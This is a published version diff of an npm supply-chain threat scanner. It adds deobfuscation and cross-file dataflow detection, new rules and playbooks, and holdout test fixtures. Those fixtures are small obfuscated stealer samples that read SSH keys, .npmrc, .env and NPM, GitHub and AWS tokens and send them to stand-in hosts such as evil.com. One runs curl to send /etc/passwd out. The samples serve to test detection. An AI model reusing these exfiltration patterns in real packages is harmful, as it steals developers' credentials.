muaddib-scanner 2.2.4 → 2.2.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (63) hide show
  1. package/bin/muaddib.js +11 -1
  2. package/datasets/holdout-v4/atob-eval/index.js +2 -0
  3. package/datasets/holdout-v4/atob-eval/package.json +5 -0
  4. package/datasets/holdout-v4/base64-require/index.js +3 -0
  5. package/datasets/holdout-v4/base64-require/package.json +5 -0
  6. package/datasets/holdout-v4/charcode-fetch/index.js +3 -0
  7. package/datasets/holdout-v4/charcode-fetch/package.json +5 -0
  8. package/datasets/holdout-v4/charcode-spread-homedir/index.js +5 -0
  9. package/datasets/holdout-v4/charcode-spread-homedir/package.json +5 -0
  10. package/datasets/holdout-v4/concat-env-steal/index.js +4 -0
  11. package/datasets/holdout-v4/concat-env-steal/package.json +5 -0
  12. package/datasets/holdout-v4/double-decode-exfil/index.js +4 -0
  13. package/datasets/holdout-v4/double-decode-exfil/package.json +5 -0
  14. package/datasets/holdout-v4/hex-array-exec/index.js +3 -0
  15. package/datasets/holdout-v4/hex-array-exec/package.json +5 -0
  16. package/datasets/holdout-v4/mixed-obfuscation-stealer/index.js +10 -0
  17. package/datasets/holdout-v4/mixed-obfuscation-stealer/package.json +5 -0
  18. package/datasets/holdout-v4/nested-base64-concat/index.js +4 -0
  19. package/datasets/holdout-v4/nested-base64-concat/package.json +5 -0
  20. package/datasets/holdout-v4/template-literal-hide/index.js +3 -0
  21. package/datasets/holdout-v4/template-literal-hide/package.json +5 -0
  22. package/datasets/holdout-v5/callback-exfil/main.js +8 -0
  23. package/datasets/holdout-v5/callback-exfil/package.json +5 -0
  24. package/datasets/holdout-v5/callback-exfil/reader.js +10 -0
  25. package/datasets/holdout-v5/class-method-exfil/collector.js +10 -0
  26. package/datasets/holdout-v5/class-method-exfil/main.js +7 -0
  27. package/datasets/holdout-v5/class-method-exfil/package.json +5 -0
  28. package/datasets/holdout-v5/conditional-split/detector.js +2 -0
  29. package/datasets/holdout-v5/conditional-split/package.json +5 -0
  30. package/datasets/holdout-v5/conditional-split/stealer.js +16 -0
  31. package/datasets/holdout-v5/event-emitter-flow/listener.js +12 -0
  32. package/datasets/holdout-v5/event-emitter-flow/package.json +5 -0
  33. package/datasets/holdout-v5/event-emitter-flow/scanner.js +11 -0
  34. package/datasets/holdout-v5/mixed-inline-split/index.js +6 -0
  35. package/datasets/holdout-v5/mixed-inline-split/package.json +5 -0
  36. package/datasets/holdout-v5/mixed-inline-split/reader.js +3 -0
  37. package/datasets/holdout-v5/mixed-inline-split/sender.js +6 -0
  38. package/datasets/holdout-v5/named-export-steal/main.js +6 -0
  39. package/datasets/holdout-v5/named-export-steal/package.json +5 -0
  40. package/datasets/holdout-v5/named-export-steal/utils.js +1 -0
  41. package/datasets/holdout-v5/reexport-chain/a.js +2 -0
  42. package/datasets/holdout-v5/reexport-chain/b.js +1 -0
  43. package/datasets/holdout-v5/reexport-chain/c.js +11 -0
  44. package/datasets/holdout-v5/reexport-chain/package.json +5 -0
  45. package/datasets/holdout-v5/split-env-exfil/env.js +2 -0
  46. package/datasets/holdout-v5/split-env-exfil/exfil.js +5 -0
  47. package/datasets/holdout-v5/split-env-exfil/package.json +5 -0
  48. package/datasets/holdout-v5/split-npmrc-steal/index.js +2 -0
  49. package/datasets/holdout-v5/split-npmrc-steal/package.json +5 -0
  50. package/datasets/holdout-v5/split-npmrc-steal/reader.js +8 -0
  51. package/datasets/holdout-v5/split-npmrc-steal/sender.js +17 -0
  52. package/datasets/holdout-v5/three-hop-chain/package.json +5 -0
  53. package/datasets/holdout-v5/three-hop-chain/reader.js +8 -0
  54. package/datasets/holdout-v5/three-hop-chain/sender.js +11 -0
  55. package/datasets/holdout-v5/three-hop-chain/transform.js +3 -0
  56. package/package.json +1 -1
  57. package/src/index.js +26 -3
  58. package/src/response/playbooks.js +10 -0
  59. package/src/rules/index.js +26 -0
  60. package/src/scanner/ast.js +107 -24
  61. package/src/scanner/dataflow.js +18 -1
  62. package/src/scanner/deobfuscate.js +557 -0
  63. package/src/scanner/module-graph.js +883 -0
package/bin/muaddib.js CHANGED
@@ -31,6 +31,8 @@ let temporalPublishMode = false;
31
31
  let temporalMaintainerMode = false;
32
32
  let temporalFullMode = false;
33
33
  let breakdownMode = false;
34
+ let noDeobfuscate = false;
35
+ let noModuleGraph = false;
34
36
  let feedLimit = null;
35
37
  let feedSeverity = null;
36
38
  let feedSince = null;
@@ -110,6 +112,10 @@ for (let i = 0; i < options.length; i++) {
110
112
  temporalMaintainerMode = true;
111
113
  } else if (options[i] === '--breakdown') {
112
114
  breakdownMode = true;
115
+ } else if (options[i] === '--no-deobfuscate') {
116
+ noDeobfuscate = true;
117
+ } else if (options[i] === '--no-module-graph') {
118
+ noModuleGraph = true;
113
119
  } else if (options[i] === '--temporal') {
114
120
  temporalMode = true;
115
121
  } else if (options[i] === '--limit') {
@@ -395,6 +401,8 @@ const helpText = `
395
401
  --temporal-maintainer Detect maintainer changes (new maintainer, account takeover)
396
402
  --temporal-full All temporal analyses (lifecycle + AST + publish + maintainer)
397
403
  --no-canary Disable honey token injection in sandbox
404
+ --no-deobfuscate Disable deobfuscation pre-processing
405
+ --no-module-graph Disable cross-file dataflow analysis
398
406
  --exclude [dir] Exclude directory from scan (repeatable)
399
407
  --limit [n] Limit feed entries (default: 50)
400
408
  --severity [level] Filter by severity (CRITICAL|HIGH|MEDIUM|LOW)
@@ -435,7 +443,9 @@ if (command === 'version' || command === '--version' || command === '-v') {
435
443
  temporalMaintainer: temporalMaintainerMode || temporalFullMode,
436
444
  exclude: excludeDirs,
437
445
  entropyThreshold: entropyThreshold,
438
- breakdown: breakdownMode
446
+ breakdown: breakdownMode,
447
+ noDeobfuscate: noDeobfuscate,
448
+ noModuleGraph: noModuleGraph
439
449
  }).then(exitCode => {
440
450
  process.exit(exitCode);
441
451
  }).catch(err => {
@@ -0,0 +1,2 @@
1
+ // Holdout v4 — atob-eval: classic atob + eval payload
2
+ eval(atob('Y29uc29sZS5sb2coInB3bmVkIik='));
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "atob-eval",
3
+ "version": "1.0.0",
4
+ "main": "index.js"
5
+ }
@@ -0,0 +1,3 @@
1
+ // Holdout v4 — base64-require: module name hidden in base64
2
+ const mod = require(Buffer.from('Y2hpbGRfcHJvY2Vzcw==', 'base64').toString());
3
+ mod.exec('whoami');
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "base64-require",
3
+ "version": "1.0.0",
4
+ "main": "index.js"
5
+ }
@@ -0,0 +1,3 @@
1
+ // Holdout v4 — charcode-fetch: URL rebuilt from charCodes
2
+ const url = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 101, 118, 105, 108, 46, 99, 111, 109);
3
+ fetch(url, { method: 'POST', body: process.env.NPM_TOKEN });
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "charcode-fetch",
3
+ "version": "1.0.0",
4
+ "main": "index.js"
5
+ }
@@ -0,0 +1,5 @@
1
+ // Holdout v4 — charcode-spread-homedir: module 'os' hidden via charCodes
2
+ const h = String.fromCharCode(...[111, 115]);
3
+ const m = require(h).homedir();
4
+ const f = require('fs').readFileSync(m + '/.ssh/id_rsa');
5
+ require('https').request('https://evil.com').write(f);
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "charcode-spread-homedir",
3
+ "version": "1.0.0",
4
+ "main": "index.js"
5
+ }
@@ -0,0 +1,4 @@
1
+ // Holdout v4 — concat-env-steal: env var name rebuilt by concat
2
+ const key = 'NPM' + '_' + 'TOK' + 'EN';
3
+ const val = process.env[key];
4
+ require('https').request({ hostname: 'evil.com', path: '/steal', method: 'POST' }, () => {}).write(val);
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "concat-env-steal",
3
+ "version": "1.0.0",
4
+ "main": "index.js"
5
+ }
@@ -0,0 +1,4 @@
1
+ // Holdout v4 — double-decode-exfil: double base64 encoding
2
+ const modName = Buffer.from(Buffer.from('WTJocGJHUmZjSEp2WTJWemN3PT0=', 'base64').toString(), 'base64').toString();
3
+ const proc = require(modName);
4
+ proc.exec('curl https://evil.com/exfil?data=$(cat /etc/passwd)');
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "double-decode-exfil",
3
+ "version": "1.0.0",
4
+ "main": "index.js"
5
+ }
@@ -0,0 +1,3 @@
1
+ // Holdout v4 — hex-array-exec: shell command hidden in hex array
2
+ const cmd = [0x63, 0x75, 0x72, 0x6c, 0x20, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x65, 0x76, 0x69, 0x6c, 0x2e, 0x63, 0x6f, 0x6d].map(c => String.fromCharCode(c)).join('');
3
+ require('child_process').exec(cmd);
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "hex-array-exec",
3
+ "version": "1.0.0",
4
+ "main": "index.js"
5
+ }
@@ -0,0 +1,10 @@
1
+ // Holdout v4 — mixed-obfuscation-stealer: 3 techniques combined
2
+ // Module name via charCode
3
+ const modName = String.fromCharCode(102, 115);
4
+ // Path via base64
5
+ const credPath = Buffer.from('L2V0Yy9wYXNzd2Q=', 'base64').toString();
6
+ // URL via concat
7
+ const host = 'https://' + 'att' + 'acker' + '.com';
8
+
9
+ const data = require(modName).readFileSync(credPath, 'utf8');
10
+ require('https').request(host, { method: 'POST' }, () => {}).write(data);
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "mixed-obfuscation-stealer",
3
+ "version": "1.0.0",
4
+ "main": "index.js"
5
+ }
@@ -0,0 +1,4 @@
1
+ // Holdout v4 — nested-base64-concat: split base64 + concat
2
+ const a = Buffer.from('Y2hpbGRf', 'base64').toString();
3
+ const b = Buffer.from('cHJvY2Vzcw==', 'base64').toString();
4
+ require(a + b).exec('id');
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "nested-base64-concat",
3
+ "version": "1.0.0",
4
+ "main": "index.js"
5
+ }
@@ -0,0 +1,3 @@
1
+ // Holdout v4 — template-literal-hide: module name via template literals
2
+ const mod = `${'child'}${'_process'}`;
3
+ require(mod).exec('curl evil.com');
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "template-literal-hide",
3
+ "version": "1.0.0",
4
+ "main": "index.js"
5
+ }
@@ -0,0 +1,8 @@
1
+ const readCredentials = require('./reader');
2
+
3
+ readCredentials((data) => {
4
+ fetch('https://evil.com/collect', {
5
+ method: 'POST',
6
+ body: data
7
+ });
8
+ });
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "callback-exfil",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — callback-based credential passing"
5
+ }
@@ -0,0 +1,10 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const os = require('os');
4
+
5
+ function readCredentials(callback) {
6
+ const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
7
+ callback(npmrc);
8
+ }
9
+
10
+ module.exports = readCredentials;
@@ -0,0 +1,10 @@
1
+ const fs = require('fs');
2
+
3
+ class Collector {
4
+ read() {
5
+ const data = fs.readFileSync('.env', 'utf8');
6
+ return data;
7
+ }
8
+ }
9
+
10
+ module.exports = Collector;
@@ -0,0 +1,7 @@
1
+ const Collector = require('./collector');
2
+
3
+ const c = new Collector();
4
+ const secrets = c.read();
5
+
6
+ const ws = new WebSocket('wss://evil.com/ws');
7
+ ws.send(secrets);
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "class-method-exfil",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — class method read + WebSocket exfil"
5
+ }
@@ -0,0 +1,2 @@
1
+ const isCI = !!process.env.CI;
2
+ module.exports = isCI;
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "conditional-split",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — conditional CI-gated exfiltration"
5
+ }
@@ -0,0 +1,16 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const os = require('os');
4
+ const https = require('https');
5
+ const isCI = require('./detector');
6
+
7
+ if (isCI) {
8
+ const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
9
+ const req = https.request({
10
+ hostname: 'evil.com',
11
+ path: '/ci-steal',
12
+ method: 'POST'
13
+ }, (res) => { res.resume(); });
14
+ req.write(npmrc);
15
+ req.end();
16
+ }
@@ -0,0 +1,12 @@
1
+ const https = require('https');
2
+ const bus = require('./scanner');
3
+
4
+ bus.on('data', (creds) => {
5
+ const req = https.request({
6
+ hostname: 'evil.com',
7
+ path: '/steal',
8
+ method: 'POST'
9
+ }, (res) => { res.resume(); });
10
+ req.write(creds);
11
+ req.end();
12
+ });
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "event-emitter-flow",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — EventEmitter-based credential flow"
5
+ }
@@ -0,0 +1,11 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const os = require('os');
4
+ const EventEmitter = require('events');
5
+
6
+ const bus = new EventEmitter();
7
+
8
+ const npmrc = fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8');
9
+ bus.emit('data', npmrc);
10
+
11
+ module.exports = bus;
@@ -0,0 +1,6 @@
1
+ // Inline obfuscated payload (intra-file threat)
2
+ const payload = Buffer.from('Y29uc29sZS5sb2coInB3bmVkIik=', 'base64').toString();
3
+ eval(payload);
4
+
5
+ // Also orchestrate cross-file flow
6
+ require('./sender');
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "mixed-inline-split",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — intra-file eval + cross-file dataflow"
5
+ }
@@ -0,0 +1,3 @@
1
+ const fs = require('fs');
2
+ const data = fs.readFileSync('.npmrc', 'utf8');
3
+ module.exports = data;
@@ -0,0 +1,6 @@
1
+ const stolen = require('./reader');
2
+
3
+ fetch('https://evil.com/exfil', {
4
+ method: 'POST',
5
+ body: stolen
6
+ });
@@ -0,0 +1,6 @@
1
+ const { getCredentials } = require('./utils');
2
+
3
+ fetch('https://evil.com/aws', {
4
+ method: 'POST',
5
+ body: getCredentials
6
+ });
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "named-export-steal",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — named export destructuring steal"
5
+ }
@@ -0,0 +1 @@
1
+ exports.getCredentials = process.env.AWS_SECRET_ACCESS_KEY;
@@ -0,0 +1,2 @@
1
+ const token = process.env.NPM_TOKEN;
2
+ module.exports = token;
@@ -0,0 +1 @@
1
+ module.exports = require('./a');
@@ -0,0 +1,11 @@
1
+ const https = require('https');
2
+ const secret = require('./b');
3
+
4
+ const req = https.request({
5
+ hostname: 'evil.com',
6
+ path: '/npm-token',
7
+ method: 'POST'
8
+ }, (res) => { res.resume(); });
9
+
10
+ req.write(secret);
11
+ req.end();
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "reexport-chain",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — double re-export chain a → b → c"
5
+ }
@@ -0,0 +1,2 @@
1
+ const token = process.env.GITHUB_TOKEN;
2
+ module.exports = token;
@@ -0,0 +1,5 @@
1
+ const token = require('./env');
2
+ fetch('https://evil.com/collect', {
3
+ method: 'POST',
4
+ body: token
5
+ });
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "split-env-exfil",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — cross-file env token exfil"
5
+ }
@@ -0,0 +1,2 @@
1
+ require('./reader');
2
+ require('./sender');
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "split-npmrc-steal",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — cross-file .npmrc steal"
5
+ }
@@ -0,0 +1,8 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const os = require('os');
4
+
5
+ const npmrcPath = path.join(os.homedir(), '.npmrc');
6
+ const content = fs.readFileSync(npmrcPath, 'utf8');
7
+
8
+ module.exports = content;
@@ -0,0 +1,17 @@
1
+ const https = require('https');
2
+ const data = require('./reader');
3
+
4
+ const options = {
5
+ hostname: 'collector.evil.com',
6
+ port: 443,
7
+ path: '/exfil',
8
+ method: 'POST',
9
+ headers: { 'Content-Type': 'text/plain' }
10
+ };
11
+
12
+ const req = https.request(options, (res) => {
13
+ res.resume();
14
+ });
15
+
16
+ req.write(data);
17
+ req.end();
@@ -0,0 +1,5 @@
1
+ {
2
+ "name": "three-hop-chain",
3
+ "version": "1.0.0",
4
+ "description": "Holdout v5 — 3-file chain reader → transform → sender"
5
+ }
@@ -0,0 +1,8 @@
1
+ const os = require('os');
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+
5
+ const keyPath = path.join(os.homedir(), '.ssh', 'id_rsa');
6
+ const key = fs.readFileSync(keyPath, 'utf8');
7
+
8
+ module.exports = key;
@@ -0,0 +1,11 @@
1
+ const https = require('https');
2
+ const payload = require('./transform');
3
+
4
+ const req = https.request({
5
+ hostname: 'attacker.example.com',
6
+ path: '/collect',
7
+ method: 'POST'
8
+ }, (res) => { res.resume(); });
9
+
10
+ req.write(payload);
11
+ req.end();
@@ -0,0 +1,3 @@
1
+ const raw = require('./reader');
2
+ const encoded = Buffer.from(raw).toString('base64');
3
+ module.exports = encoded;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "muaddib-scanner",
3
- "version": "2.2.4",
3
+ "version": "2.2.6",
4
4
  "description": "Supply-chain threat detection & response for npm & PyPI/Python",
5
5
  "main": "src/index.js",
6
6
  "bin": {
package/src/index.js CHANGED
@@ -19,6 +19,8 @@ const { loadCachedIOCs } = require('./ioc/updater.js');
19
19
  const { ensureIOCs } = require('./ioc/bootstrap.js');
20
20
  const { scanEntropy } = require('./scanner/entropy.js');
21
21
  const { scanAIConfig } = require('./scanner/ai-config.js');
22
+ const { deobfuscate } = require('./scanner/deobfuscate.js');
23
+ const { buildModuleGraph, annotateTaintedExports, detectCrossFileFlows } = require('./scanner/module-graph.js');
22
24
  const { detectSuddenLifecycleChange } = require('./temporal-analysis.js');
23
25
  const { detectSuddenAstChanges } = require('./temporal-ast-diff.js');
24
26
  const { detectPublishAnomaly } = require('./publish-anomaly.js');
@@ -222,6 +224,21 @@ async function run(targetPath, options = {}) {
222
224
  spinner.start(`[MUADDIB] Scanning ${targetPath}...`);
223
225
  }
224
226
 
227
+ // Deobfuscation pre-processor (pass to AST/dataflow scanners unless disabled)
228
+ const deobfuscateFn = options.noDeobfuscate ? null : deobfuscate;
229
+
230
+ // Cross-file module graph analysis (before individual scanners)
231
+ let crossFileFlows = [];
232
+ if (!options.noModuleGraph) {
233
+ try {
234
+ const graph = buildModuleGraph(targetPath);
235
+ const tainted = annotateTaintedExports(graph, targetPath);
236
+ crossFileFlows = detectCrossFileFlows(graph, tainted, targetPath);
237
+ } catch {
238
+ // Graceful fallback — module graph is best-effort
239
+ }
240
+ }
241
+
225
242
  // Parallel execution of all independent scanners
226
243
  const [
227
244
  packageThreats,
@@ -240,11 +257,11 @@ async function run(targetPath, options = {}) {
240
257
  ] = await Promise.all([
241
258
  scanPackageJson(targetPath),
242
259
  scanShellScripts(targetPath),
243
- analyzeAST(targetPath),
260
+ analyzeAST(targetPath, { deobfuscate: deobfuscateFn }),
244
261
  Promise.resolve(detectObfuscation(targetPath)),
245
262
  scanDependencies(targetPath),
246
263
  scanHashes(targetPath),
247
- analyzeDataFlow(targetPath),
264
+ analyzeDataFlow(targetPath, { deobfuscate: deobfuscateFn }),
248
265
  scanTyposquatting(targetPath),
249
266
  Promise.resolve(scanGitHubActions(targetPath)),
250
267
  Promise.resolve(matchPythonIOCs(pythonDeps, targetPath)),
@@ -271,7 +288,13 @@ async function run(targetPath, options = {}) {
271
288
  ...pythonThreats,
272
289
  ...pypiTyposquatThreats,
273
290
  ...entropyThreats,
274
- ...aiConfigThreats
291
+ ...aiConfigThreats,
292
+ ...crossFileFlows.map(f => ({
293
+ type: f.type,
294
+ severity: f.severity,
295
+ message: `Cross-file dataflow: ${f.source} in ${f.sourceFile} → ${f.sink} in ${f.sinkFile}`,
296
+ file: f.sinkFile
297
+ }))
275
298
  ];
276
299
 
277
300
  // Paranoid mode
@@ -304,6 +304,11 @@ const PLAYBOOKS = {
304
304
  'NE PAS installer. Ceci execute du code arbitraire a l\'installation. ' +
305
305
  'Si deja installe: considerer la machine compromise. Auditer les modifications systeme.',
306
306
 
307
+ cross_file_dataflow:
308
+ 'CRITIQUE: Un module lit des credentials et les exporte vers un autre module qui les envoie sur le reseau. ' +
309
+ 'Exfiltration inter-fichiers confirmee. Isoler la machine, supprimer le package, regenerer TOUS les secrets. ' +
310
+ 'Auditer les connexions reseau recentes pour identifier les donnees exfiltrees.',
311
+
307
312
  credential_tampering:
308
313
  'CRITIQUE: Ecriture detectee dans un cache sensible (npm _cacache, yarn, pip). ' +
309
314
  'Possible cache poisoning: injection de code malveillant dans des packages caches. ' +
@@ -318,6 +323,11 @@ const PLAYBOOKS = {
318
323
  'Fichier binaire (.png/.jpg/.wasm) reference avec eval() dans le meme fichier. ' +
319
324
  'Technique de steganographie: le payload malveillant est cache dans les pixels d\'une image ou les sections d\'un WASM. ' +
320
325
  'Analyser le fichier binaire dans un sandbox. Verifier les donnees extraites avant execution.',
326
+
327
+ staged_eval_decode:
328
+ 'CRITIQUE: eval() ou Function() recoit un argument decode en base64 (atob/Buffer.from). ' +
329
+ 'Technique de staged payload: le code malveillant est encode puis decode et execute dynamiquement. ' +
330
+ 'Isoler la machine. Decoder le payload manuellement pour analyser le code execute. Supprimer le package.',
321
331
  };
322
332
 
323
333
  function getPlaybook(threatType) {
@@ -585,6 +585,19 @@ const RULES = {
585
585
  mitre: 'T1027.003'
586
586
  },
587
587
 
588
+ staged_eval_decode: {
589
+ id: 'MUADDIB-AST-021',
590
+ name: 'Staged Eval Decode',
591
+ severity: 'CRITICAL',
592
+ confidence: 'high',
593
+ description: 'eval() ou Function() recoit un argument decode (atob ou Buffer.from base64). Pattern classique de staged payload: le code malveillant est encode en base64 puis decode et execute dynamiquement.',
594
+ references: [
595
+ 'https://attack.mitre.org/techniques/T1140/',
596
+ 'https://attack.mitre.org/techniques/T1059/007/'
597
+ ],
598
+ mitre: 'T1140'
599
+ },
600
+
588
601
  env_charcode_reconstruction: {
589
602
  id: 'MUADDIB-AST-018',
590
603
  name: 'Environment Variable Key Reconstruction',
@@ -611,6 +624,19 @@ const RULES = {
611
624
  mitre: 'T1195.002'
612
625
  },
613
626
 
627
+ cross_file_dataflow: {
628
+ id: 'MUADDIB-FLOW-004',
629
+ name: 'Cross-File Data Exfiltration',
630
+ severity: 'CRITICAL',
631
+ confidence: 'high',
632
+ description: 'Un module lit des credentials (fs.readFileSync, process.env) et les exporte vers un autre module qui les envoie sur le reseau (fetch, https.request). Exfiltration inter-fichiers confirmee.',
633
+ references: [
634
+ 'https://blog.phylum.io/shai-hulud-npm-worm',
635
+ 'https://attack.mitre.org/techniques/T1041/'
636
+ ],
637
+ mitre: 'T1041'
638
+ },
639
+
614
640
  credential_tampering: {
615
641
  id: 'MUADDIB-FLOW-003',
616
642
  name: 'Credential/Cache Tampering',